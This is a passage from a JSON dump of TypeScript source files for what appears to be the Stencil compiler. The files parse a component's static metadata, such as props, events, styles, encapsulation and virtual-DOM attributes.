cmpMeta.hasLifecycle =\n    cmpMeta.hasComponentWillLoadFn ||\n    cmpMeta.hasComponentDidLoadFn ||\n    cmpMeta.hasComponentWillUpdateFn ||\n    cmpMeta.hasComponentDidUpdateFn;\n  cmpMeta.hasRenderFn = classMethods.some((m) => isMethod(m, 'render')) || hasHostData;\n  cmpMeta.hasVdomRender = cmpMeta.hasVdomRender || hasHostData;\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/component.ts",
    "content": "import { augmentDiagnosticWithNode, buildWarn, join, normalizePath, relative, unique } from '@utils';\nimport { dirname, isAbsolute } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addComponentMetaStatic } from '../add-component-meta-static';\nimport { setComponentBuildConditionals } from '../component-build-conditionals';\nimport { detectModernPropDeclarations } from '../detect-modern-prop-decls';\nimport { getComponentTagName, getStaticValue, isInternal, isStaticGetter, serializeSymbol } from '../transform-utils';\nimport { parseAttachInternals, parseAttachInternalsCustomStates } from './attach-internals';\nimport { parseCallExpression } from './call-expression';\nimport { parseClassMethods } from './class-methods';\nimport { parseStaticElementRef } from './element-ref';\nimport { parseStaticEncapsulation, parseStaticShadowDelegatesFocus, parseStaticSlotAssignment } from './encapsulation';\nimport { parseFormAssociated } from './form-associated';\nimport { parseStringLiteral } from './string-literal';\nimport { parseStaticStyles } from './styles';\nimport { mergeExtendedClassMeta } from './class-extension';\n\nconst BLACKLISTED_COMPONENT_METHODS = [\n  /**\n   * If someone would define a getter called \"shadowRoot\" on a component\n   * this would cause issues when Stencil tries to hydrate the component.\n   */\n  'shadowRoot',\n];\n\n/**\n * Given a {@see ts.ClassDeclaration} which represents a Stencil component\n * class declaration, parse and format various pieces of data about static class\n * members which we use in the compilation process.\n *\n * This performs some checks that this class is indeed a Stencil component\n * and, if it is, will perform a side-effect, adding an object containing\n * metadata about the component to the module map and the node map.\n *\n * Additionally, it will optionally transform the supplied class declaration\n * node to add a static getter for the component metadata if the transformation\n * options specify to do so.\n *\n * @param compilerCtx the current compiler context\n * @param typeChecker a TypeScript type checker instance\n * @param cmpNode the TypeScript class declaration for the component\n * @param moduleFile Stencil's IR for a module, used here as an out param\n * @param buildCtx the current build context, used to surface diagnostics\n * @param transformOpts options which control various aspects of the\n * transformation\n * @returns the TypeScript class declaration IR instance with which the\n * function was called\n */\nexport const parseStaticComponentMeta = (\n  compilerCtx: d.CompilerCtx,\n  typeChecker: ts.TypeChecker,\n  cmpNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  buildCtx: d.BuildCtx,\n  transformOpts?: d.TransformOptions,\n): ts.ClassDeclaration => {\n  if (cmpNode.members == null) {\n    return cmpNode;\n  }\n  const staticMembers = cmpNode.members.filter(isStaticGetter);\n  const tagName = getComponentTagName(staticMembers);\n  if (tagName == null) {\n    return cmpNode;\n  }\n\n  const {\n    doesExtend,\n    properties,\n    states,\n    methods,\n    listeners,\n    events,\n    watchers,\n    classMethods,\n    serializers,\n    deserializers,\n  } = mergeExtendedClassMeta(compilerCtx, typeChecker, buildCtx, cmpNode, staticMembers, moduleFile);\n  const symbol = typeChecker ? typeChecker.getSymbolAtLocation(cmpNode.name) : undefined;\n  const docs = serializeSymbol(typeChecker, symbol);\n  const isCollectionDependency = moduleFile.isCollectionDependency;\n  const encapsulation = parseStaticEncapsulation(staticMembers);\n  const cmp: d.ComponentCompilerMeta = {\n    attachInternalsMemberName: parseAttachInternals(staticMembers),\n    attachInternalsCustomStates: parseAttachInternalsCustomStates(staticMembers),\n    formAssociated: parseFormAssociated(staticMembers),\n    tagName: tagName,\n    excludeFromCollection: moduleFile.excludeFromCollection,\n    isCollectionDependency,\n    componentClassName: cmpNode.name ? cmpNode.name.text : '',\n    elementRef: parseStaticElementRef(staticMembers),\n    encapsulation,\n    shadowDelegatesFocus: !!parseStaticShadowDelegatesFocus(encapsulation, staticMembers),\n    slotAssignment: parseStaticSlotAssignment(encapsulation, staticMembers),\n    properties,\n    virtualProperties: parseVirtualProps(docs),\n    states,\n    methods,\n    listeners,\n    events,\n    watchers,\n    doesExtend,\n    styles: parseStaticStyles(compilerCtx, tagName, moduleFile.sourceFilePath, isCollectionDependency, staticMembers),\n    internal: isInternal(docs),\n    assetsDirs: parseAssetsDirs(staticMembers, moduleFile.jsFilePath),\n    styleDocs: [],\n    docs,\n    jsFilePath: moduleFile.jsFilePath,\n    sourceFilePath: moduleFile.sourceFilePath,\n    sourceMapPath: moduleFile.sourceMapPath,\n    serializers,\n    deserializers,\n\n    hasAttributeChangedCallbackFn: false,\n    hasComponentWillLoadFn: false,\n    hasComponentDidLoadFn: false,\n    hasComponentShouldUpdateFn: false,\n    hasComponentWillUpdateFn: false,\n    hasComponentDidUpdateFn: false,\n    hasComponentWillRenderFn: false,\n    hasComponentDidRenderFn: false,\n    hasConnectedCallbackFn: false,\n    hasDeserializer: false,\n    hasDisconnectedCallbackFn: false,\n    hasElement: false,\n    hasEvent: false,\n    hasLifecycle: false,\n    hasListener: false,\n    hasListenerTarget: false,\n    hasListenerTargetWindow: false,\n    hasListenerTargetDocument: false,\n    hasListenerTargetBody: false,\n    hasListenerTargetParent: false,\n    hasMember: false,\n    hasMethod: false,\n    hasMode: false,\n    hasModernPropertyDecls: false,\n    hasAttribute: false,\n    hasProp: false,\n    hasPropNumber: false,\n    hasPropBoolean: false,\n    hasPropString: false,\n    hasPropMutable: false,\n    hasReflect: false,\n    hasRenderFn: false,\n    hasSerializer: false,\n    hasSlot: false,\n    hasState: false,\n    hasStyle: false,\n    hasVdomAttribute: false,\n    hasVdomXlink: false,\n    hasVdomClass: false,\n    hasVdomFunctional: false,\n    hasVdomKey: false,\n    hasVdomListener: false,\n    hasVdomPropOrAttr: false,\n    hasVdomRef: false,\n    hasVdomRender: false,\n    hasVdomStyle: false,\n    hasVdomText: false,\n    hasWatchCallback: false,\n    isPlain: false,\n    htmlAttrNames: [],\n    htmlTagNames: [],\n    htmlParts: [],\n    isUpdateable: false,\n    potentialCmpRefs: [],\n\n    dependents: [],\n    dependencies: [],\n    directDependents: [],\n    directDependencies: [],\n  };\n\n  const visitComponentChildNode = (node: ts.Node, buildCtx: d.BuildCtx) => {\n    validateComponentMembers(node, buildCtx);\n\n    if (ts.isCallExpression(node)) {\n      parseCallExpression(cmp, node, typeChecker);\n    } else if (ts.isStringLiteral(node)) {\n      parseStringLiteral(cmp, node);\n    }\n    node.forEachChild((child) => visitComponentChildNode(child, buildCtx));\n  };\n  visitComponentChildNode(cmpNode, buildCtx);\n  parseClassMethods(classMethods, cmp);\n\n  cmp.hasModernPropertyDecls = detectModernPropDeclarations(cmpNode) || doesExtend;\n  cmp.htmlAttrNames = unique(cmp.htmlAttrNames);\n  cmp.htmlTagNames = unique(cmp.htmlTagNames);\n  cmp.hasSlot = cmp.hasSlot || cmp.htmlTagNames.includes('slot');\n  cmp.potentialCmpRefs = unique(cmp.potentialCmpRefs);\n  setComponentBuildConditionals(cmp);\n\n  if (transformOpts && transformOpts.componentMetadata === 'compilerstatic') {\n    cmpNode = addComponentMetaStatic(cmpNode, cmp);\n  }\n\n  // add to module map\n  const foundIndex = moduleFile.cmps.findIndex(\n    (c) => c.tagName === cmp.tagName && c.sourceFilePath === cmp.sourceFilePath,\n  );\n  if (foundIndex > -1) moduleFile.cmps[foundIndex] = cmp;\n  else moduleFile.cmps.push(cmp);\n\n  // add to node map\n  compilerCtx.nodeMap.set(cmpNode, cmp);\n\n  return cmpNode;\n};\n\nconst validateComponentMembers = (node: ts.Node, buildCtx: d.BuildCtx) => {\n  /**\n   * validate if:\n   */\n  if (\n    /**\n     * the component has a getter called \"shadowRoot\"\n     */\n    ts.isGetAccessorDeclaration(node) &&\n    ts.isIdentifier(node.name) &&\n    typeof node.name.escapedText === 'string' &&\n    BLACKLISTED_COMPONENT_METHODS.includes(node.name.escapedText) &&\n    /**\n     * the parent node is a class declaration\n     */\n    node.parent &&\n    ts.isClassDeclaration(node.parent)\n  ) {\n    const propName = node.name.escapedText;\n    const decorator = ts.getDecorators(node.parent)[0];\n    /**\n     * the class is actually a Stencil component, has a decorator with a property named \"tag\"\n     */\n    if (\n      ts.isCallExpression(decorator.expression) &&\n      decorator.expression.arguments.length === 1 &&\n      ts.isObjectLiteralExpression(decorator.expression.arguments[0]) &&\n      decorator.expression.arguments[0].properties.some(\n        (prop) => ts.isPropertyAssignment(prop) && prop.name.getText() === 'tag',\n      )\n    ) {\n      const componentName = node.parent.name.getText();\n      const err = buildWarn(buildCtx.diagnostics);\n      err.messageText = `The component \"${componentName}\" has a getter called \"${propName}\". This getter is reserved for use by Stencil components and should not be defined by the user.`;\n      augmentDiagnosticWithNode(err, node);\n    }\n  }\n};\n\nconst parseVirtualProps = (docs: d.CompilerJsDoc) => {\n  return docs.tags\n    .filter(({ name }) => name === 'virtualProp')\n    .map(parseVirtualProp)\n    .filter((prop) => !!prop);\n};\n\nconst parseVirtualProp = (tag: d.CompilerJsDocTagInfo): d.ComponentCompilerVirtualProperty => {\n  const results = /^\\s*(?:\\{([^}]+)\\}\\s+)?(\\w+)\\s+-\\s+(.*)$/.exec(tag.text);\n  if (!results) {\n    return undefined;\n  }\n  const [, type, name, docs] = results;\n  return {\n    type: type == null ? 'any' : type.trim(),\n    name: name.trim(),\n    docs: docs.trim(),\n  };\n};\n\nconst parseAssetsDirs = (staticMembers: ts.ClassElement[], componentFilePath: string): d.AssetsMeta[] => {\n  const dirs: string[] = getStaticValue(staticMembers, 'assetsDirs') || [];\n  const componentDir = normalizePath(dirname(componentFilePath));\n\n  return dirs.map((dir) => {\n    // get the relative path from the component file to the assets directory\n    dir = normalizePath(dir.trim());\n\n    let absolutePath = dir;\n    let cmpRelativePath = dir;\n    if (isAbsolute(dir)) {\n      // if this is an absolute path already, let's convert it to be relative\n      cmpRelativePath = relative(componentDir, dir);\n    } else {\n      // create the absolute path to the asset dir\n      absolutePath = join(componentDir, dir);\n    }\n    return {\n      absolutePath,\n      cmpRelativePath,\n      originalComponentPath: dir,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/element-ref.ts",
    "content": "import ts from 'typescript';\n\nimport { getStaticValue } from '../transform-utils';\n\nexport const parseStaticElementRef = (staticMembers: ts.ClassElement[]) => {\n  const parsedElementRef = getStaticValue(staticMembers, 'elementRef');\n\n  if (typeof parsedElementRef === 'string') {\n    return parsedElementRef;\n  }\n\n  return null;\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/encapsulation.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue } from '../transform-utils';\n\n/**\n * Find and return the type of encapsulation that a component has based on the return value of its static getter of the\n * same name.\n *\n * If no encapsulation static getter is found, or if the found encapsulation getter return value is not an accepted\n * value, 'none' is returned.\n *\n * @param staticMembers a collection of static getters to search\n * @returns the encapsulation mode to use for a component\n */\nexport const parseStaticEncapsulation = (staticMembers: ts.ClassElement[]): d.Encapsulation => {\n  let encapsulation: string = getStaticValue(staticMembers, 'encapsulation');\n\n  if (typeof encapsulation === 'string') {\n    encapsulation = encapsulation.toLowerCase().trim();\n    if (encapsulation === 'shadow' || encapsulation === 'scoped') {\n      return encapsulation;\n    }\n  }\n\n  return 'none';\n};\n\n/**\n * Find and return if `delegatesFocus` is enabled for a component based on the return value of its static getter of the\n * same name.\n *\n * @param encapsulation the encapsulation mode to use for a component\n * @param staticMembers a collection of static getters to search\n * @returns when `encapsulation` is 'shadow', return `true` if the static getter returns true. If the static getter\n * returns `false` or does not exist, return `false`. If `encapsulation` is not 'shadow', return `null`, regardless of\n * the static getter's existence/return value.\n */\nexport const parseStaticShadowDelegatesFocus = (\n  encapsulation: string,\n  staticMembers: ts.ClassElement[],\n): boolean | null => {\n  if (encapsulation === 'shadow') {\n    const delegatesFocus: boolean = getStaticValue(staticMembers, 'delegatesFocus');\n    return !!delegatesFocus;\n  }\n  return null;\n};\n\n/**\n * Find and return the `slotAssignment` mode for a component.\n *\n * @param encapsulation the encapsulation mode to use for a component\n * @param staticMembers a collection of static getters to search\n * @returns `manual` if explicitly set. Otherwise `null`.\n */\nexport const parseStaticSlotAssignment = (encapsulation: string, staticMembers: ts.ClassElement[]): 'manual' | null => {\n  if (encapsulation === 'shadow') {\n    const slotAssignment: string = getStaticValue(staticMembers, 'slotAssignment');\n    return slotAssignment === 'manual' ? 'manual' : null;\n  }\n  return null;\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/events.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue, isInternal } from '../transform-utils';\n\nexport const parseStaticEvents = (staticMembers: ts.ClassElement[]): d.ComponentCompilerEvent[] => {\n  const parsedEvents: d.ComponentCompilerEvent[] = getStaticValue(staticMembers, 'events');\n  if (!parsedEvents || parsedEvents.length === 0) {\n    return [];\n  }\n\n  return parsedEvents.map((parsedEvent) => {\n    return {\n      name: parsedEvent.name,\n      method: parsedEvent.method,\n      bubbles: parsedEvent.bubbles,\n      cancelable: parsedEvent.cancelable,\n      composed: parsedEvent.composed,\n      docs: parsedEvent.docs,\n      complexType: parsedEvent.complexType,\n      internal: isInternal(parsedEvent.docs),\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/form-associated.ts",
    "content": "import ts from 'typescript';\n\nimport { getStaticValue } from '../transform-utils';\n\n/**\n * Parse whether a transformed Stencil component is form-associated\n *\n * @param staticMembers class members for the Stencil component of interest\n * @returns whether or not the given component is form-associated\n */\nexport const parseFormAssociated = (staticMembers: ts.ClassElement[]): boolean => {\n  const isFormAssociated = getStaticValue(staticMembers, 'formAssociated');\n  return typeof isFormAssociated === 'boolean' && isFormAssociated;\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/import.ts",
    "content": "import { normalizePath, resolve } from '@utils';\nimport { isAbsolute } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addExternalImport } from '../collections/add-external-import';\n\nexport const parseModuleImport = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  moduleFile: d.Module,\n  dirPath: string,\n  importNode: ts.ImportDeclaration,\n  resolveCollections: boolean,\n) => {\n  if (importNode.moduleSpecifier && ts.isStringLiteral(importNode.moduleSpecifier)) {\n    let importPath = importNode.moduleSpecifier.text;\n\n    if (!moduleFile.originalImports.includes(importPath)) {\n      moduleFile.originalImports.push(importPath);\n    }\n\n    if (isAbsolute(importPath)) {\n      // absolute import\n      importPath = normalizePath(importPath);\n      moduleFile.localImports.push(importPath);\n    } else if (importPath.startsWith('.')) {\n      // relative import\n      importPath = normalizePath(resolve(dirPath, importPath));\n      moduleFile.localImports.push(importPath);\n    } else {\n      // node resolve side effect import\n      addExternalImport(\n        config,\n        compilerCtx,\n        buildCtx,\n        moduleFile,\n        moduleFile.sourceFilePath,\n        importPath,\n        resolveCollections,\n      );\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/listeners.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue } from '../transform-utils';\n\nexport const parseStaticListeners = (staticMembers: ts.ClassElement[]): d.ComponentCompilerListener[] => {\n  const parsedListeners: d.ComponentCompilerListener[] = getStaticValue(staticMembers, 'listeners');\n  if (!parsedListeners || parsedListeners.length === 0) {\n    return [];\n  }\n\n  return parsedListeners.map((parsedListener) => {\n    return {\n      name: parsedListener.name,\n      method: parsedListener.method,\n      capture: !!parsedListener.capture,\n      passive: !!parsedListener.passive,\n      target: parsedListener.target,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/methods.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue, isInternal } from '../transform-utils';\n\nexport const parseStaticMethods = (staticMembers: ts.ClassElement[]): d.ComponentCompilerMethod[] => {\n  const parsedMethods: { [key: string]: d.ComponentCompilerStaticMethod } = getStaticValue(staticMembers, 'methods');\n  if (!parsedMethods) {\n    return [];\n  }\n\n  const methodNames = Object.keys(parsedMethods);\n  if (methodNames.length === 0) {\n    return [];\n  }\n\n  return methodNames.map((methodName) => {\n    return {\n      name: methodName,\n      docs: parsedMethods[methodName].docs,\n      complexType: parsedMethods[methodName].complexType,\n      internal: isInternal(parsedMethods[methodName].docs),\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/parse-static.ts",
    "content": "import { join, normalizePath } from '@utils';\nimport { basename, dirname } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { createModule, getModule } from '../../transpile/transpiled-module';\nimport { getComponentTagName, isStaticGetter } from '../transform-utils';\nimport { parseCallExpression } from './call-expression';\nimport { parseStaticComponentMeta } from './component';\nimport { parseModuleImport } from './import';\nimport { parseStringLiteral } from './string-literal';\n\n/**\n * Stencil static getter names that indicate a class has Stencil metadata\n * and can be extended by other components (mixin/abstract class pattern).\n */\nconst STENCIL_MIXIN_STATIC_MEMBERS = ['properties', 'states', 'methods', 'events', 'listeners', 'watchers'];\n\n/**\n * Gets the name of a class member as a string, safely handling cases where\n * getText() might not work (e.g., synthetic nodes without source file context).\n */\nconst getMemberName = (member: ts.ClassElement): string | undefined => {\n  if (!member.name) return undefined;\n  if (ts.isIdentifier(member.name)) {\n    return member.name.text ?? member.name.escapedText?.toString();\n  }\n  if (ts.isStringLiteral(member.name)) {\n    return member.name.text;\n  }\n  return undefined;\n};\n\n/**\n * Checks if a class declaration is an exportable mixin - i.e., it has Stencil\n * static getters (properties, states, etc.) but is NOT a component (no tag name).\n * These are abstract/partial classes meant to be extended by actual components.\n */\nconst isExportableMixinClass = (classNode: ts.ClassDeclaration): boolean => {\n  const staticGetters = classNode.members.filter(isStaticGetter);\n  if (staticGetters.length === 0) return false;\n\n  // If it has a tag name, it's a component, not a mixin\n  const tagName = getComponentTagName(staticGetters);\n  if (tagName) return false;\n\n  // Check if it has any Stencil mixin static members\n  return staticGetters.some((getter) => {\n    const name = getMemberName(getter);\n    return name && STENCIL_MIXIN_STATIC_MEMBERS.includes(name);\n  });\n};\n\nexport const updateModule = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  tsSourceFile: ts.SourceFile,\n  sourceFileText: string,\n  emitFilePath: string,\n  typeChecker: ts.TypeChecker,\n  collection: d.CollectionCompilerMeta,\n): d.Module => {\n  const sourceFilePath = normalizePath(tsSourceFile.fileName);\n  const prevModuleFile = getModule(compilerCtx, sourceFilePath);\n\n  if (prevModuleFile && prevModuleFile.staticSourceFileText === sourceFileText) {\n    return prevModuleFile;\n  }\n\n  const srcDirPath = dirname(sourceFilePath);\n  const emitFileName = basename(emitFilePath);\n  emitFilePath = normalizePath(join(srcDirPath, emitFileName));\n\n  const moduleFile = createModule(tsSourceFile, sourceFileText, emitFilePath);\n  if (prevModuleFile?.cmps) moduleFile.cmps = prevModuleFile.cmps;\n\n  if (emitFilePath.endsWith('.js.map')) {\n    moduleFile.sourceMapPath = emitFilePath;\n    moduleFile.sourceMapFileText = sourceFileText;\n  } else if (prevModuleFile && prevModuleFile.sourceMapPath) {\n    moduleFile.sourceMapPath = prevModuleFile.sourceMapPath;\n    moduleFile.sourceMapFileText = prevModuleFile.sourceMapFileText;\n  }\n  const moduleFileKey = normalizePath(moduleFile.sourceFilePath);\n  compilerCtx.moduleMap.set(moduleFileKey, moduleFile);\n  compilerCtx.changedModules.add(moduleFile.sourceFilePath);\n\n  const visitNode = (node: ts.Node) => {\n    if (ts.isClassDeclaration(node)) {\n      // First try to parse as a component\n      parseStaticComponentMeta(compilerCtx, typeChecker, node, moduleFile, buildCtx, undefined);\n\n      // Also check if this is an exportable mixin class (has Stencil static members but no tag)\n      if (isExportableMixinClass(node)) {\n        moduleFile.hasExportableMixins = true;\n      }\n      return;\n    } else if (ts.isImportDeclaration(node)) {\n      parseModuleImport(config, compilerCtx, buildCtx, moduleFile, srcDirPath, node, true);\n      return;\n    } else if (ts.isCallExpression(node)) {\n      parseCallExpression(moduleFile, node, typeChecker);\n    } else if (ts.isStringLiteral(node)) {\n      parseStringLiteral(moduleFile, node);\n    } else if (ts.isVariableStatement(node)) {\n      // Look for mixin patterns like `const MyMixin = (Base) => class MyMixin extends Base { ... }`\n      node.declarationList.declarations.forEach((declaration) => {\n        if (declaration.initializer) {\n          if (ts.isArrowFunction(declaration.initializer) || ts.isFunctionExpression(declaration.initializer)) {\n            const funcBody = declaration.initializer.body;\n            // Handle functions with block body: (Base) => { class MyMixin ... }\n            if (ts.isBlock(funcBody)) {\n              funcBody.statements.forEach((statement) => {\n                // Look for class declarations in the function body (mixin factory pattern)\n                if (ts.isClassDeclaration(statement)) {\n                  if (isExportableMixinClass(statement)) {\n                    moduleFile.hasExportableMixins = true;\n                  }\n                  statement.members.forEach((member) => {\n                    if (ts.isPropertyDeclaration(member) && member.initializer) {\n                      // Traverse into the property initializer (e.g., arrow function)\n                      ts.forEachChild(member.initializer, visitNode);\n                    }\n                  });\n                }\n              });\n            }\n          }\n        }\n      });\n    }\n    node.forEachChild(visitNode);\n  };\n\n  if (collection != null) {\n    moduleFile.isCollectionDependency = true;\n    moduleFile.collectionName = collection.collectionName;\n    collection.moduleFiles.push(moduleFile);\n  }\n  visitNode(tsSourceFile);\n\n  // TODO: workaround around const enums\n  // find better way\n  // Create staticSourceFile for modules with components OR exportable mixins\n  // (needed for class-extension to process mixin metadata from external collections)\n  if (moduleFile.cmps.length > 0 || moduleFile.hasExportableMixins) {\n    moduleFile.staticSourceFile = ts.createSourceFile(\n      sourceFilePath,\n      sourceFileText,\n      tsSourceFile.languageVersion,\n      true,\n      ts.ScriptKind.JS,\n    );\n  }\n  return moduleFile;\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/props.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue, isInternal } from '../transform-utils';\n\n/**\n * Parse a list of {@link ts.ClassElement} objects representing static props\n * into a list of our own Intermediate Representation (IR) of properties on\n * components.\n *\n * @param staticMembers TypeScript IR for the properties on our component\n * @returns a manifest of compiler properties in our own Stencil IR\n */\nexport const parseStaticProps = (staticMembers: ts.ClassElement[]): d.ComponentCompilerProperty[] => {\n  const parsedProps: { [key: string]: d.ComponentCompilerStaticProperty } = getStaticValue(staticMembers, 'properties');\n  if (!parsedProps) {\n    return [];\n  }\n\n  const propNames = Object.keys(parsedProps);\n  if (propNames.length === 0) {\n    return [];\n  }\n\n  return propNames.map((propName) => {\n    const val = parsedProps[propName];\n\n    return {\n      name: propName,\n      type: val.type,\n      attribute: val.attribute ? val.attribute.toLowerCase() : undefined,\n      reflect: typeof val.reflect === 'boolean' ? val.reflect : false,\n      mutable: !!val.mutable,\n      required: !!val.required,\n      optional: !!val.optional,\n      defaultValue: val.defaultValue,\n      complexType: val.complexType,\n      docs: val.docs,\n      internal: isInternal(val.docs),\n      getter: !!val.getter,\n      setter: !!val.setter,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/serializers.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue } from '../transform-utils';\n\nexport const parseStaticSerializers = (\n  staticMembers: ts.ClassElement[],\n  translateType: 'serializers' | 'deserializers',\n): d.ComponentCompilerChangeHandler[] => {\n  const parsedSerializers: d.ComponentCompilerChangeHandler[] = getStaticValue(staticMembers, translateType);\n  if (!parsedSerializers || parsedSerializers.length === 0) {\n    return [];\n  }\n\n  return parsedSerializers.map((parsedSerial) => {\n    return {\n      propName: parsedSerial.propName,\n      methodName: parsedSerial.methodName,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/states.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue } from '../transform-utils';\n\nexport const parseStaticStates = (staticMembers: ts.ClassElement[]): d.ComponentCompilerState[] => {\n  const parsedStates = getStaticValue(staticMembers, 'states');\n  if (!parsedStates) {\n    return [];\n  }\n\n  const stateNames = Object.keys(parsedStates);\n  if (stateNames.length === 0) {\n    return [];\n  }\n\n  return stateNames.map((stateName) => {\n    return {\n      name: stateName,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/string-literal.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\n\nexport const parseStringLiteral = (m: d.Module | d.ComponentCompilerMeta, node: ts.StringLiteral) => {\n  if (typeof node.text === 'string' && node.text.includes('</')) {\n    if (node.text.includes('<slot')) {\n      m.htmlTagNames.push('slot');\n    }\n    if (node.text.includes('<svg')) {\n      m.htmlTagNames.push('svg');\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/styles.ts",
    "content": "import { DEFAULT_STYLE_MODE, sortBy } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { normalizeStyles } from '../../style/normalize-styles';\nimport { ConvertIdentifier, getStaticValue } from '../transform-utils';\n\nexport const parseStaticStyles = (\n  compilerCtx: d.CompilerCtx,\n  tagName: string,\n  componentFilePath: string,\n  isCollectionDependency: boolean,\n  staticMembers: ts.ClassElement[],\n) => {\n  const styles: d.StyleCompiler[] = [];\n  const styleUrlsProp = isCollectionDependency ? 'styleUrls' : 'originalStyleUrls';\n  const parsedStyleUrls = getStaticValue(staticMembers, styleUrlsProp) as d.CompilerModeStyles;\n\n  let parsedStyle = getStaticValue(staticMembers, 'styles');\n\n  if (parsedStyle) {\n    if (typeof parsedStyle === 'string') {\n      // styles: 'div { padding: 10px }'\n      parsedStyle = parsedStyle.trim();\n      if (parsedStyle.length > 0) {\n        styles.push({\n          modeName: DEFAULT_STYLE_MODE,\n          styleId: null,\n          styleStr: parsedStyle,\n          styleIdentifier: null,\n          externalStyles: [],\n        });\n        compilerCtx.styleModeNames.add(DEFAULT_STYLE_MODE);\n      }\n    } else if ((parsedStyle as ConvertIdentifier).__identifier) {\n      styles.push(parseStyleIdentifier(parsedStyle, DEFAULT_STYLE_MODE));\n      compilerCtx.styleModeNames.add(DEFAULT_STYLE_MODE);\n    } else if (typeof parsedStyle === 'object') {\n      Object.keys(parsedStyle).forEach((modeName) => {\n        const parsedStyleMode = parsedStyle[modeName];\n        if (typeof parsedStyleMode === 'string') {\n          styles.push({\n            modeName: modeName,\n            styleId: null,\n            styleStr: parsedStyleMode,\n            styleIdentifier: null,\n            externalStyles: [],\n          });\n        } else {\n          styles.push(parseStyleIdentifier(parsedStyleMode, modeName));\n        }\n        compilerCtx.styleModeNames.add(modeName);\n      });\n    }\n  }\n\n  if (parsedStyleUrls && typeof parsedStyleUrls === 'object') {\n    Object.keys(parsedStyleUrls).forEach((modeName) => {\n      const externalStyles: d.ExternalStyleCompiler[] = [];\n      const styleObj = parsedStyleUrls[modeName];\n      styleObj.forEach((styleUrl) => {\n        if (typeof styleUrl === 'string' && styleUrl.trim().length > 0) {\n          externalStyles.push({\n            absolutePath: null,\n            relativePath: null,\n            originalComponentPath: styleUrl.trim(),\n          });\n        }\n      });\n\n      if (externalStyles.length > 0) {\n        const style: d.StyleCompiler = {\n          modeName: modeName,\n          styleId: null,\n          styleStr: null,\n          styleIdentifier: null,\n          externalStyles: externalStyles,\n        };\n\n        styles.push(style);\n        compilerCtx.styleModeNames.add(modeName);\n      }\n    });\n  }\n\n  normalizeStyles(tagName, componentFilePath, styles);\n\n  return sortBy(styles, (s) => s.modeName);\n};\n\nconst parseStyleIdentifier = (parsedStyle: ConvertIdentifier, modeName: string) => {\n  const style: d.StyleCompiler = {\n    modeName: modeName,\n    styleId: null,\n    styleStr: null,\n    styleIdentifier: parsedStyle.__escapedText,\n    externalStyles: [],\n  };\n  return style;\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/vdom.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\n\nexport const gatherVdomMeta = (m: d.Module | d.ComponentCompilerMeta, args: ts.NodeArray<ts.Expression>) => {\n  m.hasVdomRender = true;\n\n  // Parse vdom tag\n  const hTag = args[0];\n  if (!ts.isStringLiteral(hTag) && (!ts.isIdentifier(hTag) || hTag.text !== 'Host')) {\n    m.hasVdomFunctional = true;\n  }\n\n  // Parse attributes\n  if (args.length > 1) {\n    const objectLiteral = args[1];\n    if (ts.isCallExpression(objectLiteral) || ts.isIdentifier(objectLiteral)) {\n      m.hasVdomAttribute = true;\n      m.hasVdomClass = true;\n      m.hasVdomKey = true;\n      m.hasVdomListener = true;\n      m.hasVdomPropOrAttr = true;\n      m.hasVdomRef = true;\n      m.hasVdomStyle = true;\n      m.hasVdomXlink = true;\n    } else if (ts.isObjectLiteralExpression(objectLiteral)) {\n      objectLiteral.properties.forEach((prop) => {\n        m.hasVdomAttribute = true;\n        if (ts.isSpreadAssignment(prop) || ts.isComputedPropertyName(prop.name)) {\n          m.hasVdomClass = true;\n          m.hasVdomKey = true;\n          m.hasVdomListener = true;\n          m.hasVdomPropOrAttr = true;\n          m.hasVdomRef = true;\n          m.hasVdomStyle = true;\n          m.hasVdomXlink = true;\n        } else if (prop.name && (prop.name as any).text && (prop.name as any).text.length > 0) {\n          const attrName = (prop.name as any).text;\n          if (attrName === 'key') {\n            m.hasVdomKey = true;\n          } else if (attrName === 'ref') {\n            m.hasVdomRef = true;\n          } else if (attrName === 'class' || attrName === 'className') {\n            m.hasVdomClass = true;\n          } else if (attrName === 'style') {\n            m.hasVdomStyle = true;\n          } else if (/^on(-|[A-Z])/.test(attrName)) {\n            m.hasVdomListener = true;\n          } 